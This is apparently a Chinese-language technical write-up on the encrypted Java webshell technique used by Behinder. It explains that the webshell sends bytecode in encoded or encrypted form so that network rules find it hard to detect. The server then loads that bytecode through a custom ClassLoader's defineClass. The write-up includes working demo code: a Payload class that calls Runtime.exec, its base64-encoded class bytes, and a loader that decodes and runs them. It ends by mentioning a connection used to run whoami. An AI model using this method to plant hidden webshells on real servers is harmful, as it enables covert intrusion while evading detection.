https://xz.aliyun.com/t/2744
原理:将字节码进行编码/加密,在网络上传输,很难有规则可检测出来。
在服务端解密之后,使用java.lang.ClassLoader的defineClass方法还原。
在实现方面,巧妙地使用equals(Object)来接受参数,equals方法只接受一个参数,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
jar包下载:http://www.java2s.com/Code/JarDownload/sun/sun.misc.base64decoder.jar.zip
package bingxie;
import Decoder.BASE64Decoder;
public class Demo {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
String classStr = "yv66vgAAADQAKAcAAgEAD2Jpbmd4aWUvUGF5bG9hZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMYmluZ3hpZS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxQYXlsb2FkLmphdmEAIQABAAMAAAAAAAIAAQAFAAYAAQAHAAAALwABAAEAAAAFKrcACLEAAAACAAoAAAAGAAEAAAAFAAsAAAAMAAEAAAAFAAwADQAAAAEADgAPAAEABwAAAGkAAgACAAAAFLgAEBIWtgAYV6cACEwrtgAcEiGwAAEAAAAJAAwAHQADAAoAAAASAAQAAAAJAAkACgANAAsAEQANAAsAAAAWAAIAAAAUAAwADQAAAA0ABAAjACQAAQAlAAAABwACTAcAHQQAAQAmAAAAAgAn";
BASE64Decoder code=new Decoder.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString());
}
}
其中classStr的值是下面这个类编译之后class文件的base64值。
将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)
package bingxie;
import java.io.IOException;
public class Payload {
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "OK";
}
}
$ javac Payload.java
$ base64 Payload.class
yv66vgAAADQAKAcAAgEAD2Jpbmd4aWUvUGF5bG9hZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8
aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFy
aWFibGVUYWJsZQEABHRoaXMBABFMYmluZ3hpZS9QYXlsb2FkOwEACHRvU3RyaW5nAQAUKClMamF2
YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50
aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhl
YwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2
YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGph
dmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxQYXlsb2Fk
LmphdmEAIQABAAMAAAAAAAIAAQAFAAYAAQAHAAAALwABAAEAAAAFKrcACLEAAAACAAoAAAAGAAEA
AAAFAAsAAAAMAAEAAAAFAAwADQAAAAEADgAPAAEABwAAAGkAAgACAAAAFLgAEBIWtgAYV6cACEwr
tgAcEiGwAAEAAAAJAAwAHQADAAoAAAASAAQAAAAJAAkACgANAAsAEQANAAsAAAAWAAIAAAAUAAwA
DQAAAA0ABAAjACQAAQAlAAAABwACTAcAHQQAAQAmAAAAAgAn
运行之后,截图:
"连接"并执行whoami命令。